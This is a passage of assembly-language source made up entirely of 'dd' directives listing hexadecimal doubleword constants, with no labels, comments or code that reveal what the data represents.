0A8223199h, 0CE469C92h, 82164000h, 8B283EA6h dd 0FA04514h, 0F5BD0394h, 96EC37Eh, 72F3A711h, 28860180h dd 9D3BB061h, 0D6C20011h, 6C521236h, 0DD7002F4h, 6F0AA99Fh dd 48B1FC60h, 0AA30C861h, 0A8306CF5h, 39560474h, 0C0DA7843h dd 402D4CE0h, 0E92AB303h, 0EA1A4A44h, 0AB08490Ch, 6F015063h dd 5A3A7108h, 0FF407068h, 5EBF2C00h, 3850E3F6h, 0C9820043h dd 3BED371Eh, 8B00BEABh, 0D3CEB2B7h, 0DBC64CDh, 132A773Ah dd 40DF60D0h, 9D731700h, 340B0E96h, 80944859h, 8C654400h dd 27DA828Eh, 73B9A53Dh, 8041E438h, 0A6FA94B5h, 0E44F478Ah dd 0AA820009h, 0FF58BD8h, 0D41EA077h, 1240B704h, 2AB486E3h dd 0DC5E0149h, 5ADFAE82h, 2FB70BAh, 0D89739h, 915407A1h dd 72D05F72h, 0C9E92C35h, 0A3F6832Ch, 40980FA6h, 140082F2h dd 941AA10Eh, 76E093Bh, 20AFA4FDh, 0E025A7B7h, 49C7BEAAh dd 248D5607h, 0B221A713h, 12C95548h, 4C0DA8F0h, 2F08C451h dd 670035E6h, 7DBA8C29h, 0FE31550h, 7338F882h, 71161202h dd 0B8806D5Dh, 66E53E0Dh, 0B0365B26h, 0A411A1Eh, 159DFF8Dh dd 30D45020h, 1F605AEFh, 0D0007F53h, 8C5C5191h, 0D8E8E1h dd 4BD17C3Ch, 1EF8F1CDh, 9E2E93FEh, 77007C43h, 78136304h dd 1FED00EAh, 0D7584A34h dd 0B03C764h, 0AF1C2F2Eh, 65AEC0E1h, 619900B9h, 8553D45Fh dd 9500B4DFh, 7E82FAA3h, 0F0645Ch, 37D8A518h, 39F29443h dd 9A4F3300h, 1E36CBBEh, 3A237762h, 0AD8E2BD4h, 0D62078F5h dd 0E5EA68B6h, 77DAC300h, 289B97FBh, 38610530h, 4012947Bh dd 5BBF11CCh, 0FC00EA9Ch, 53C72C65h, 15EB6834h, 98AC1D52h dd 0D08E360Bh, 0E16C00A0h, 0E40084EAh, 962F06F4h, 216D85h dd 0FC1824F8h, 0D7628048h, 4015E601h, 63398A13h, 47F90840h dd 0EE65004Bh, 8345059h, 0E001662Bh, 0CD393F3Bh, 9824CFEBh dd 4EC90064h, 88F1FABh, 0B152CE3Ch, 0E9662010h, 5DD9C880h dd 25D537EFh, 0F27F4BE8h, 559F18DFh, 0DA926105h, 0F3142F80h dd 499801B5h, 59C9A6BBh, 0CE9CE0AFh, 831DEB00h, 0C6D132E9h dd 0CC3D03F0h, 8FAF3057h, 40A2FB91h, 0CFA954F1h, 29548CF2h dd 0B30031A0h, 0E03A562Eh, 5C53309Fh, 0A7004E64h, 0AB1F8F57h dd 9A30160Ah, 6AB1312Dh, 0B85360AFh, 470E5714h, 6B64CE00h dd 56309CE1h, 8DF86Fh, 3DC7690Dh, 29988BDAh, 0D2E42C03h dd 0D02ED153h, 9DF990h, 0F33AC34Ah, 3600897h, 66A7EE00h dd 546B8D7Ch, 6ACF0015h, 974CD74Dh, 0E03CCD37h, 0A2650022h dd 0B84B38EDh, 0BD010080h, 0A72E82BCh, 0B006074h, 5820E2F3h dd 901F5Ah, 0F0E80C45h, 9C68C72h, 38B83BE8h, 3821A21Eh dd 0A0871300h, 0C02343A7h, 506140A0h, 0CC003089h, 0DE260FC7h dd 496B98h, 9BC62454h, 2D392AD2h, 0DB915800h, 648B3EDCh dd 2FCE4C2Ch, 14B281Fh, 0CB9931F6h, 34F0504Fh, 7D76A438h dd 0AFEF3D06h, 60086DD2h, 3E0E2129h, 0D55E9CA4h, 0F6687C1h dd 0F7A0489Ch, 6A74C320h, 0CC2C63E8h, 1F5DA10h, 1AE5992Ch dd 0D0238075h, 0E9A03132h, 11C0E4C8h, 528F3CFBh, 2F1703CEh dd 306F662Eh, 210007A3h, 0D38D6428h, 0E8F511h, 0E7E2A919h dd 5C305049h, 0D486A1DCh, 0A68883Ah, 2D7602E0h, 83961174h dd 0B27EA439h, 10643165h, 0A44313h, 0F7673971h, 883709A1h dd 0C0D92E00h, 3359A3ADh, 421E1E9Dh, 4E4D0102h, 8098C33Bh dd 0F173DBA8h, 32E40EEh, 16CF0DD2h, 77A30C0Fh, 0E9002173h dd 2E624EF1h, 1B5B9D3Ah, 48AC84CCh, 3DEE5810h, 0C68E3000h dd 1562DBDFh, 0C003C4CEh, 0D8786A8Ch, 0ED98A096h, 0F2CF1D2Fh dd 59C1471Eh, 446060ECh, 9201B10Fh, 56B743AFh, 0C9D1BD15h dd 782DE0h, 6B444B06h, 834CB8A5h, 0B23208C6h, 0A00A0020h dd 44BB1506h, 7F033831h, 76D871A7h, 0C1FBCD05h, 91BA9951h dd 76805858h, 5B445106h, 2131608Ch, 16069E08h, 6C90F000h dd 752720FDh, 44C0098h, 0B15781CFh, 15303902h, 0D04D600Bh dd 5CC1C8C9h, 8506C1CFh, 344A7B44h, 6A20C00h, 1F4824D3h dd 56541703h, 804E099Dh, 1BD2AB7h, 86A31C9Eh, 31CE0C2Eh dd 0CD389FBEh, 950EF5C7h, 6893CC3h, 4528CA18h, 0A23C90B6h dd 75080A1Ah, 534480A6h, 86065067h, 448C7344h, 6F60B30h dd 15373Bh, 0D39676CCh, 1B3680ECh, 80AD95AAh, 0CBAE6098h dd 0F6E0AB0Fh, 3C8BA037h, 1EE53261h, 9CA67FD4h, 90AFA5Dh dd 3144B531h, 80C28598h, 0EBFEF7A9h, 455FD0h, 75FAF6D4h dd 1FA637C3h, 23C3D0Ah, 1400984Dh, 0C6EA8A8Bh, 534B1C25h dd 0D112C095h, 240BED27h, 92E13101h, 4DC8A105h, 964EB02Fh dd 54D16A00h, 0D34B4F28h, 5A340F62h, 0E84505F5h, 0DE00BF1Dh dd 4DF7CBFh, 0C66777D9h, 20521608h, 87E20B3Ch, 46B48D99h dd 0D1CAF7A0h, 3A4E00Ch, 9A5416E6h, 0A7B0EDEFh, 50E1D48h dd 0E06EABD4h, 0F4B76DCEh, 7048D94Dh, 6C42D032h, 811CF60h dd 1D48ABEh, 4FF281D5h, 0D1F1992Dh, 1B2197FCh, 88AAC100h dd 0ECDC0D2Ah, 0FF380117h, 4FDF4CB2h, 96D19158h, 0BB8FD480h dd 208CBF7Ch, 273C53EFh, 0D4C8BDCh, 0C59783F2h, 0EB48F834h dd 6E67DA2h, 0DAB0DF06h, 0FD035004h, 5841113Bh, 0A0E4D82Ah dd 0FBAE7412h, 449C2180h, 16E7A111h, 733B8606h, 0FF1A0DDh dd 0FC6672AEh, 0FB654460h, 1238B2EEh, 80DFBBF7h, 3E4C0D29h dd 18B3345Eh, 0D082BD6Ch, 0B700137Dh, 96240E09h, 0AD1714h dd 0D0CFFBA2h, 0A321D3EBh, 3006D100h, 6B82BB25h, 3C97012Dh dd 0F1C428C2h, 75A5C0DEh, 1FA6EE3Ah, 8507E91Bh, 0B200F58Ch dd 0EBB2949h, 0CAE04C5Eh, 4BA0CF6h, 0A633DB38h, 0D83040B2h dd 0EF80B90h, 2F570FB3h, 65A91898h, 48D9A830h, 9C444Ah dd 214D9D7Eh, 0B1B7A2FAh, 3BCCC200h, 83765456h, 1AB185Dh dd 599618E1h, 7C080578h, 80FD814Bh, 33A78EDAh, 8D0371CFh dd 837C22C5h, 0FA20EEF9h, 6767CC4h, 0D70B0CB3h, 5500E129h dd 0D3ECFE0Ah, 0FA9FAC69h, 8AB00331h, 3D0FB42Fh, 0D2DCE1DFh dd 29308130h, 787E862h, 0F714E70h, 3C0A83F3h, 0F1C98886h dd 6878DF00h, 0E5EAAFD7h, 1BBA00F9h, 928EE1F8h, 0D0035A21h dd 263EE73Bh, 0FE13B887h, 80D6000Bh, 5F31B381h, 12011909h dd 5A9001E0h, 2080E1E3h, 0C58BEE67h, 0D21E7EDAh, 90006B9h dd 91255E76h, 19550344h, 0C99AAA8Dh, 5400307Ch, 0B47AF4C1h dd 6007628Ah, 424C19E8h, 0B59845D9h, 1DC4E18h, 6754A0h dd 0EF91E125h, 0A4FD9B88h, 62061300h, 0E94D0DF3h, 0C6890046h dd 5F09B1C2h, 0E180831h, 9041DA56h, 0E8026B30h, 6C536840h dd 62B28D0Fh, 5ED5E118h, 21860550h, 398B610Eh, 99CABC0Ch dd 6FF078F7h, 268020E6h, 421FA32Ah, 85770D00h, 978F4E54h dd 0E6500036h, 1E32486h, 870FD47Eh, 6F5FD142h, 6089EFD0h dd 1A08C3C6h, 1467C8Dh, 0BF7DB04Fh, 0F0CF1960h, 4E392DF2h dd 0EFC7CD8h, 0CA325918h, 1F94B629h, 4C7DFEA1h, 0F43011C9h dd 5CA23118h, 3B0AE220h, 0C8EFE9Fh, 1158E6E4h, 1200F3C2h dd 0B59A3AA8h, 74E865B2h, 21C66FF2h, 0CF12FBE0h, 90005D3Fh dd 0DDFA406Dh, 0AEA03h, 3644BD21h, 1FF3451h, 69B27A30h dd 0E8009DEh, 485345F8h, 323B8143h, 2100CFB3h, 0C800E75h dd 79472701h, 45710317h, 0A9468ACBh, 0AE6E01Fh, 3B16F6C0h dd 0C17FA351h, 65CFE291h, 833AD1C2h, 6031379h, 3F280012h dd 76A41FBFh, 9E3C93AEh, 0DB1D00B2h, 0EC580425h, 799F0021h dd 50737ACBh, 38078FC5h, 0A1766389h, 9B3180AEh, 35D03Bh dd 5BC23A0Ah, 3C2C424Eh, 55CC4500h, 0DC06E0BFh, 9E651DAEh dd 7EE3C01Fh, 0C1B8255Ah, 7900B073h, 0B5D514D7h, 11BCAh dd 0FE55E13Eh, 0AB9CE5F8h, 16420416h, 433A9600h, 19FE333h dd 37723E50h, 0D0D28C79h, 47014CA9h, 1B788A04h, 5A200774h dd 2917E3Dh, 2BE39C7Ch, 0B862BAA9h, 0F51B3D40h, 51FB0400h dd 76836A9Fh, 7725000Ch, 7D58DECCh, 96013668h, 0F9D55330h dd 9984D4Bh, 2E0821C4h, 0AB779600h, 52C9851Eh, 4A4C00F8h dd 7FFB1038h, 560F147Bh, 0A0DEC87Dh, 20CA8930h, 123A0C2Bh dd 6D0842D8h, 391921C0h, 0EDBA89h, 0D5D26A86h, 0DCE6C38Bh dd 6E6B7903h, 3426957h, 90D85078h, 68316A98h, 7FFE4155h dd 2E3890D6h, 20441189h, 9E70883Bh, 0A4890F2Bh, 407799C0h dd 0E97F8047h, 0CA6D6E07h, 0CD95594h, 1BE6123h, 0F9438C2Eh dd 0D9146C11h, 9B089819h, 0F426D721h, 56ED00D0h, 8D3003C6h dd 0DE0D1F90h, 0C04199FFh, 0A052EFC8h, 252F8Ch, 103B21E0h dd 0C5338C1Eh, 730B9276h, 97B0D6h, 37F7634Bh, 0D5DB1E85h dd 0E7DD005Ch, 0B5E22D2Ah, 9C7D0E78h, 9B4C3C00h, 9698F153h dd 7E73004Ah, 0DADF7749h dd 0B207DB8Ch, 0DEA76D94h, 0EEFAA680h, 0E41F1D18h, 0C0321FB5h dd 390FC86Bh, 9701935Ah, 5B1A963h, 2194EF55h, 0C830FEDDh dd 0A7EB2E39h, 0E8DEAAA0h, 0AE5B6F00h, 40DB4FD8h, 5502011Eh dd 4A27181Dh, 8E4180B9h, 73BE9307h, 0E2F60C21h, 0DA08596Bh dd 0E3F521C0h, 0EEE0A593h, 0FB8601E9h, 1C906FACh, 0B0588C18h dd 429008h, 29747B9Dh, 0A5D53438h, 52615E07h, 2DC0F4C6h dd 226E888h, 1E336D6Ch, 90E0B466h, 64986117h, 0B7936700h dd 0D5A6EFDDh, 683F0E29h, 6D8087ECh, 0DF8CE1B5h, 0F4A72618h dd 76B6F29h, 6228EF2Ch, 90E0F36Ch, 1E3098E3h, 0DA7A20AAh dd 0E1A20F24h, 55205D76h, 74032ECh, 0D0A0AF78h, 15037330h dd 7271616Dh, 0DD60D0C3h, 68380111h, 0A65AE434h, 0C853866Ch dd 0D58ABFAh, 709A3286h, 96544318h, 5CC027F3h, 7700B374h dd 126AFFBh, 7CAADBDDh, 2F6C307Eh, 0A0992819h, 0C90E40h dd 0D91D41DDh, 7B1597C8h, 9FC4D501h, 287451FDh, 0C67E4h dd 4B37F252h, 0FC55CD19h, 2D6CC507h, 32A09EF0h, 3CB806h dd 187EC24Fh, 7C1C8D6Fh, 0E485610Eh, 0B7418678h, 76C73820h dd 0A200FD48h, 3FD1E8B4h, 2C3F44A7h, 0FC500137h, 2331DC5Fh dd 935EECh, 0B13C9EEFh, 68C48508h, 6F482263h, 2198F91Dh dd 33588BF4h, 6108C916h, 0D5D62100h, 4663715Dh, 0D3BD00DEh dd 758C3D90h, 5E75A80Fh, 5F9420EDh, 22B90C60h, 67C5E5E8h dd 0A72478B3h, 0C7AA1F9h, 80A13198h, 525CE759h, 956B15h dd 0CB329AFBh, 4EB4A172h, 74175A01h, 0A9878A85h, 4625D0h dd 9798D486h, 1D213F79h, 0F1F27200h, 0E6D72ABAh, 5C4F405Dh dd 97438400h, 0EB2916DAh, 269E3AC0h, 9B215730h, 750243A2h dd 0AC8D729Dh, 9F888034h, 0C1B8618Eh, 0F34550B0h, 1BC9EC6Dh dd 999096E8h, 0FE5BEF07h, 0A263833Fh, 73C0E42Ah, 0EC58BE34h dd 4BBD48A9h, 0ADB71603h, 75811E5Ah, 739EC074h, 6CB81B00h dd 977BDC60h, 8DF65C1Ah, 3DC84351h, 42510374h, 65612C4Fh dd 1F86E8D8h, 63389200h, 347D1095h, 20C42EEDh, 87571CDBh dd 7004708Bh, 9497FEBEh, 8387A807h, 60F03B69h, 1FFDA084h dd 791903C5h, 934F2A81h, 0C066ADF0h, 0D81FE5D6h, 0AB409FC2h dd 46D7B51h, 0EA1A00DBh, 0F544477Ch, 9573756Fh, 0D601A200h dd 0FA2EDA06h, 79813CAAh, 0CC40E000h, 5D5229BDh, 7070E5FCh dd 85A32700h, 3E13EE0Dh, 0AA3A004Fh, 0E10ED708h, 6FFE31E3h dd 70B8C501h, 0F02F79CDh, 7A6B6880h, 0D7FA3E0Bh, 3107407Ah dd 0C4E79188h, 8CE579B1h, 408F53C9h, 4FE0DB15h, 0C4E9810Ch dd 3300A07Ch, 52FF7A7Fh, 1D86D7F0h, 98EDB86Eh, 445CE86Dh dd 3E001376h, 0CFB7A73Bh, 0A051F5D8h, 6F4CB96h, 0D10DE57Ah dd 1300D04Dh, 74670FDBh, 0E78AD5h, 0EF02A53Fh, 7F83B8D7h dd 0FBCF501Eh, 0F0423AC0h, 7AE48FFh, 6535AFA7h, 0AB586017h dd 0A35F45Dh, 148081F1h, 0CF56EBE7h, 0B0BBD11h, 7DE84F81h dd 0EB7980CEh, 0B9011A8Eh, 0E92F006Ah, 0A37F47D9h, 4A01AEBCh dd 0B31C0CDBh, 36D8D209h, 597FCBh, 14AAAB07h, 0EBBB937Eh dd 0A600857Ch, 5B6C256Ah, 0EB8AEFCh, 0EAC567DAh, 551EA460h dd 860C3D9Ch, 480E546Bh, 0BCEE03C1h, 3948A65Ch, 0B97D5EC0h dd 0A45B9403h, 0FA78312Eh, 0AB928036h, 666EE9Ah, 0C4DDD9F9h dd 590030E8h, 20C37D4Bh, 7DA83402h, 72892807h, 524E3A30h dd 10571D98h, 0DC07734Ch, 0EBD68AF5h, 0D6C4B683h, 58C00D1h dd 0F7A8A3BDh, 69002C1Dh, 1D91A43h, 1DAE382h, 64F0AD5Fh dd 0EC880FA4h, 1D0089B8h, 0D0A73C50h, 18D878D2h, 99CFCD24h dd 3B0FF363h, 0AFBC9958h, 0A0832526h, 1F248848h, 3013B9h dd 857E1D49h, 0E1005304h, 766AD6EDh, 7B2BEFh, 4A901E65h dd 3630C53Eh, 0B4C72300h, 3367E5EDh, 0EE0800CBh, 9AA40CF7h dd 0B91A3C54h, 1511A87Dh, 138BC704h, 0FE07F4Bh, 0B3000E0Dh dd 0D8380937h, 3CBC2F3Eh, 9E00E9DCh, 0B5CE35B2h, 0C03B714h dd 3273F54Eh, 133AB87Ah, 912F502Eh, 3E080470h, 0C0FBB3C8h dd 0F5BD85F8h, 0DFBF3C1Ch, 0F6BB96C0h, 0AD250Dh, 842768A3h dd 75C065B9h, 0CF1FBD7Dh, 15800685h, 645B0713h, 974D00F4h dd 59B434CAh, 0F65855E7h, 7A9B0036h, 7B4B22C8h, 40AB3A88h dd 0EADDCB00h, 0D244FB97h, 80FF3439h, 8D62D14Ch, 1FBBB0h dd 0C20A91B9h, 67EE1B70h, 0CC8FAD00h, 6F6DB87Bh, 64EA602Bh dd 1643B30h, 13195701h, 9CCD2AC0h, 1D92C8E0h, 0CC7235A0h dd 0C75A3023h, 0CE13600h, 196A8DA9h, 89F70032h, 97FD4992h dd 0E7003E5Bh, 0A5502612h, 97D54h, 86C1BEE9h, 3A084166h dd 98726500h, 36C3D7C0h, 0AFEB39C2h, 0FB9C780Eh, 0C59D7D20h dd 0D0548FAh, 0A6BBE546h, 325EDC00h, 846ECDh, 239493ABh dd 0D415F2BAh, 118D7D30h, 6C8919h, 0E0AEEF1Fh, 8093CC05h dd 0C0FCA354h, 0B0493C00h, 0C3AAB32Fh, 62EC1B17h, 1DF07873h dd 0F01C030Eh, 6A9D8A69h, 394E7C83h, 0B5A78860h, 0EC8FE93h dd 8966EDD6h, 33496480h, 94316FF6h, 0F769818Fh, 19C71ECh dd 0A8EF3E24h, 0C80ECA3Fh, 2A18E310h, 0AF28981Bh, 0E21D00ABh dd 0CC19329Eh, 0D80F3D2Eh, 0BADC917h, 2CAF018Ah, 8FC0276h dd 0E973004Eh, 4A129CBDh, 6101AEE7h, 0F5ADB29Bh, 0B0707CB1h dd 97850036h, 0F7BBCBFh, 43B0A774h, 9CA0D63Eh, 600FD258h dd 1C68A415h, 0BD377580h, 7BA6001Eh, 0AA4A6F2Dh, 0B400325Ah dd 0E255BA0Fh, 2A8D31h, 0B09F2C97h, 33CF5C30h, 39C91F0Fh dd 9AA5870Ah, 249540E0h, 26876F5h, 1E23C86Bh, 0BC807E83h dd 0B1E0A8CBh, 0D317504h, 7090EAB2h, 39E18060h, 748F204Ah dd 0A1E39D10h, 46B09676h, 21005844h, 78FA4C4Eh, 9B2B5Ch dd 0FF721170h, 0B23DD6CFh, 0E80D0B28h, 8102DFF7h, 5535B1ADh dd 62B0A01Eh, 0D336CBh, 3FBDE705h, 0B847ACADh, 1CEE2E5Ch dd 0C4C0E5F2h, 4989EE24h, 0B071005Ch, 0C034E3A1h, 0C212A4B1h dd 0C009E7Ah, 41E0FD2Fh, 0F958C097h, 5FF74CE6h, 0AF2AC890h dd 0D900FCC4h, 367FA22h, 2655784Ah, 304E63h, 6040E90Ch dd 480364D0h, 0B57AC36Ah, 0FFCD088h, 0D3DD01E7h, 902FEBE4h dd 520470D7h, 0BE3E1800h, 8925389Dh, 78E30014h, 0BABC53E2h dd 0F871695Dh, 86B48h, 75CB723Ch, 0CAD74Eh, 0ECC1FEAAh dd 114B135Bh, 69280900h, 0E7EB943Ch, 0E45E009Dh, 0B0FC44E5h dd 0ED030537h, 0DEC542E9h, 0C016E8D2h, 1BB8008Ah, 6F84AF08h dd 0B503221Ah, 0B04DDCEh, 0F3A0C8FFh, 0EA6400DCh, 49297A94h dd 0A600929Dh, 0E518FBCCh, 7061511Eh, 0D1620504h, 6F5740h dd 0DCC4CA9h, 4900A61Bh, 92DC5F8Dh, 4628ECAh, 1ABD3064h dd 40B5C528h, 3C27B5D4h, 0F1F822ADh, 780030F0h, 0E4686702h dd 0BEB601h, 22A9F4ACh, 0B1E50D38h, 0C383E707h, 72D3AA71h dd 0E4F2E0B9h, 189504BDh, 801ED21Ah, 0CE23483Ch, 0EC012F07h dd 92A08685h, 7C0B1981h, 0C52600C4h, 0BDF4391Bh, 6D005980h dd 0A7E7CD1h, 3CC3589Dh, 13008EA5h, 0A0020151h, 0F100AAF8h dd 48617A3Dh, 94103Ah, 13F95F30h, 0E22FC4BCh, 6BEBB900h dd 0A40E3C91h, 0E5DF0036h, 585E1EFCh, 903CE6BEh, 8BCC80E7h dd 966910Ch, 0BC705077h, 988200ADh, 0D7D5D469h, 0BF002B92h dd 648D1B83h, 0A17F8A80h, 0C4241984h, 8E2B0279h, 0F6636888h dd 1C7BD660h, 18DF6906h, 0E8107338h, 60E818F3h, 8A374C09h dd 598D5100h, 0B4C6DA1Ah dd 282D00A9h, 0DC967919h, 29E2355Fh, 21395001h, 90B9CEE2h dd 9A782D4h, 0BDDE52D5h, 48A17C0Fh, 6426683Bh, 0C4EA01B0h dd 1F559538h, 0D64799D8h, 0F990C7BEh, 6ED4Fh, 525AB6CFh dd 3798CB11h, 0C10F2000h, 26A2079Eh, 577056h, 0AB46A070h dd 666E89D0h, 506C0A00h, 54A6B75h, 21D667D7h, 94C910C6h dd 2E016AEFh, 3AD48D01h, 0EC20C7EBh, 509E003Dh, 0B74AF67Eh dd 9C009FD9h, 0A24E54D3h, 820646h, 0DCF5C540h, 0C056F07Bh dd 0F90EED7Ch, 0C070AEB1h, 0A32390FAh, 5B111FA6h, 41555FB6h dd 0BC2A4DDAh, 8B0ED821h, 0F2F33900h, 72CEEA58h, 9720006Ah dd 0C545C8FCh, 6B00D88Ch, 1A2D333Ch, 84B129h, 54CE0A12h dd 2AC52E24h, 0EA3D6276h, 0A6FF3C9Bh, 0B3876027h, 0C950122Fh dd 7B35BE18h, 0FFB80032h, 0FE90CC8Eh, 9B0392F4h, 0E0A7535Bh dd 16DEB8A1h, 51E41C5Fh, 0A3D7C166h, 400C31AAh, 37D12D3Ch dd 0C1DD4800h, 7D153A51h, 7CCC034Fh, 0F2324788h, 13943788h dd 0C20060FAh, 6A4CEA42h, 2EDB76Ch, 2AFBEE81h, 8CC0205Ch dd 83986D8h, 834B0074h, 0BA7D7BC7h, 0A752C0C8h, 0EAA2E236h dd 80859D38h, 0D8DA4743h, 5BB907h, 0EF337B67h, 6A13A589h dd 10D13900h, 0F2A902F7h, 65E72FFBh, 0E33C86F8h, 39A7001Ch dd 0F46EF752h, 0ABA4035Ch, 66A807C8h, 0DB613F9Ah, 0C276DE9Dh dd 0E4693B80h, 167EBC1Dh, 3D0451h, 362C6BBBh, 6E7AD89Bh dd 34D5CCF1h, 3CCB0A16h, 76356020h, 0BA187ACFh, 0ACE0D8h dd 0DA4D86C7h, 5B17722h, 4A74833Ah, 27292400h, 0EB017AFh dd 0A7236C66h, 0B51D3E80h, 6D30D109h, 879B28A5h, 0A3110386h dd 9E2B1351h, 5CA071A3h, 0AF5D3130h, 8423144Ch, 8BD5012Ch dd 0D326344Fh, 7201F0CFh, 0DB14015Ah, 0A46721F4h, 0EB00C666h dd 18B27498h, 717B371Dh, 5B0F4C95h, 55516E23h, 0F813068Ch dd 6198C4h, 9654BE97h, 3BC09DA6h, 2EC68217h, 404F4F00h dd 0A55BB7EBh, 0C8EF1064h, 2BAF022Dh, 34804C62h, 0E26DE3FBh dd 86E234F0h, 68104200h, 13C25419h, 0E3C00078h, 94ECF843h dd 363998C5h, 0AD861h, 6D5C778Ch, 74F5F039h, 1DAA0046h dd 515DF1D2h, 44001799h, 0E1926082h, 28DF72h, 555BE613h dd 4DB7111Ah, 6DD30900h, 2C315DF4h, 0DD51893h, 265CA866h dd 221B5307h, 9200E765h, 1F0580B7h, 2B4F3Fh, 0E25A8D06h dd 70005966h, 0CE30782Dh, 1A30A0Eh, 73A7F3Eh, 0E40BE3D2h dd 34B0DB05h, 67D82600h, 2E367BA3h, 0E15607D0h, 0E9CE387Ch dd 6380B98Fh, 3ABEEB6Bh, 0B5BB1D02h, 0A070FB0Ah, 0F72F9E94h dd 0F4D90915h, 601085F6h, 133F5D62h, 80463912h, 92AF937Dh dd 42A5B42h, 71B5A876h, 14B4D01Ch, 850F685Dh, 23A7177Eh dd 88EB9D0Eh, 146C897h, 7F6330C4h, 8EB2EF1Dh, 0C008F630h dd 589F674Ch, 92F7376h, 0FE9C752h, 0AC06B500h, 0DC0044B5h dd 0F018BD57h, 1689FDh, 931AB663h, 0A8502611h, 86285C00h dd 744939DAh, 0C0A10057h, 65E08C89h, 587F26C7h, 0D19B1E01h dd 162FD95Bh, 0ED75B18Bh, 1D4688A0h, 7700FBE0h, 0BF8E9205h dd 9E8B4Eh, 527A22B7h, 21792319h, 0A5ACC92Eh, 0F53D2F00h dd 947D8Ah, 0BE368F29h, 0FA58951Fh, 0B3B5DF07h, 7E40C75Ch dd 7409F108h, 1BE80079h, 0BD9C1C2Dh, 4FB84A0Ch, 0ACF80F74h dd 93338700h, 0D5B6AEBBh, 82C21FBFh, 767E01E5h, 0B8679847h dd 1268158h, 0D383A3F0h, 22BAF4h, 8F234B0Dh, 0B11F39BBh dd 3652B601h, 0BF992BC3h, 725178D0h, 677718F1h, 20A760D8h dd 0AC3F6E00h, 2930FE8Dh, 177181h, 8721B53Ch, 0D90CBCEAh dd 90094700h, 0EEACDFB1h, 2B1A1B65h, 0A5C1C8A9h, 7E088FABh dd 11181796h, 0B6C519h, 5891BD11h, 8FC3AD18h, 828EF61h dd 8EDCCE55h, 56C00C75h, 0A118D5E0h, 0C83E691Dh, 2EC59714h dd 4000F2D9h, 0AB2DCCDBh, 89B0C7h, 9626A30Eh, 0FD20237Dh dd 5DCD8000h, 4A1AC5A1h, 6D9105D1h, 21D28715h, 3F5724h dd 31CDD460h, 9EE6BF0Bh, 0E89086D7h, 98B9B394h, 2401005Fh dd 81ECD2D4h, 0CD003887h, 9805FCCCh, 0FD74C9C3h, 541F8C40h dd 0FDFE0CF0h, 67484B07h, 0E0A06613h, 2C262601h, 2BF0AD97h dd 5EAE286Fh, 655305DCh, 18D67D9h, 0A68918C0h, 87F050FFh dd 0CB03592Dh, 9E2C7CF6h, 6B72901Bh, 0F350001Ah, 66549529h dd 60C1B988h, 57F11CFDh, 3075B8D8h, 0C3C17496h, 0AF00BD41h dd 0A758CA31h, 749BB9F5h, 736EA93h, 668CE367h, 0B8EB93F1h dd 0AF2B85E0h, 8090C16Fh, 58DC6301h, 0EE945855h, 0E3063B02h dd 94AFC352h, 0EFFFC282h, 0F1CD8080h, 0F20764E6h, 6385A8BEh dd 0F488BD6h, 0CB832138h, 0D3792580h, 6F023C0Bh, 7C4A3AA0h dd 15DE67h, 0E7E1D908h, 0BF72A5ABh, 4AD49h, 30DE03CBh dd 7C4AB9AAh, 84A700CEh, 90251DF6h, 850FD6B2h, 0E13C3506h dd 0DFFD2350h, 0E6A4460h, 9D3AD15h, 7367E420h, 1EE45FDDh dd 0A62A5700h, 98FCFB38h, 0FD1C0D07h, 1B106290h, 0DE598104h dd 0EDF0FFEFh, 515C003Bh, 0B3338F4Fh, 811E688Ah, 31004140h dd 1C6DD8A9h, 6E89285Eh, 97C9Bh, 7BBBDC03h, 3692569Fh dd 0ACC1F403h, 0A35CC73Ah, 2841A095h, 0C59F3C71h, 43597880h dd 0EF198056h, 0FC92DE00h, 8F1C7D3Fh, 87C00062h, 6BE47660h dd 0C70090D2h, 44A37277h, 62A6D9h, 0EF8978F7h, 50FA0AF3h dd 0D91AF82Ch, 0C1259C00h, 0F672A1h, 0E97F9D09h, 58207A06h dd 83D98700h, 0BD4F235Eh, 5634014Ah, 458B30B8h, 0C1B5E055h dd 0EA1F4C00h, 492D3B99h, 507A0095h, 51B1C063h, 4C1CDCE8h dd 4881FABEh, 22ACAFA4h, 0F65FC0h, 358291A8h, 0E8BD4A9Ch dd 230015E8h, 3CA399ADh, 2D68FAh, 0ACE44569h, 15DF6328h dd 31565700h, 29E391B8h, 6F6A0FA5h, 3C5C705h, 0ADC8002Eh dd 4E0C6133h, 62C6F601h, 0CA910A3Eh, 1CB1A30h, 85A7D9D3h dd 40F49B73h, 92374380h, 0A080B503h, 0D0155CD1h, 3CAEB3h dd 0D71FE926h, 51DCBFA1h, 40E74500h, 12BDAC81h, 0D5D107C1h dd 0A086064Bh, 219825AAh, 332419FCh, 578010C6h, 0BC20BAE4h dd 58890052h, 530D8A29h, 1C75E1ADh, 4F909100h, 46A4B4BEh dd 0FED80070h, 36E143Fh, 400D008h, 42EEE59Bh, 1A396FAh dd 0B8A7F293h, 202D5877h, 0A27AAE2Eh, 875CF50Ah, 0E2008031h dd 451561CCh, 1736000Ch, 0EC401F03h, 0F5006424h, 0A9D52296h dd 0AAF8ACDh, 3C95EEE1h, 0DAC60084h, 0D575D3DEh, 2ED21403h dd 0F05CDD65h, 688C960h, 121574EFh, 13001931h, 0E18E853h dd 394D56h, 8BD9B90Bh, 0CA454B46h, 0A300337Eh, 597AADD0h dd 0CDBB65h, 0A0B349FDh, 26EC04FEh, 3EB1C40Fh, 9F8220E3h dd 37447Fh, 0DFDE197Dh, 2D26F7C9h, 381E901h, 2F93D10Dh dd 0FD607DF5h, 0BB0F1E1Eh, 0FC154786h, 0EF82506Ah, 560BE713h dd 80144FCEh, 845EE04Ch, 1D270054h, 664DEF55h, 0F600CEC5h dd 0D3FC4E67h, 0B52091h, 0A61E13BDh, 0EF508B8Ah, 0AF73CC01h dd 1FF4454Ah, 9038B0E3h, 0A4090F8Fh, 87432FE6h, 0E2E87371h dd 0DF0053FEh, 5110B8C5h, 5D2519h, 0AFC60221h, 3AD3FB8Dh dd 0A91BB0A0h, 7ACF6F01h, 0BFF78C33h, 0BD7BECh, 9FDF62EFh dd 0FF8541C4h, 790EAF01h, 0FE1B503Fh, 1C452420h, 0C0A36FE6h dd 563072BAh, 801413Ah, 0AB607163h, 0EC218A0Fh, 4DEDD00h dd 15EE0083h, 0CA9FDDCCh, 900AFCBh, 4049BB78h, 51F285h dd 59082295h, 5C4E8228h dd 86EB4801h, 94173CC9h, 0D3F0BEC9h, 2281C745h, 6C46C0D9h dd 0CBF20A67h, 638BD20h, 9C88F975h, 680CC880h, 0F802B7E8h dd 1D4D03C1h, 0B047CD93h, 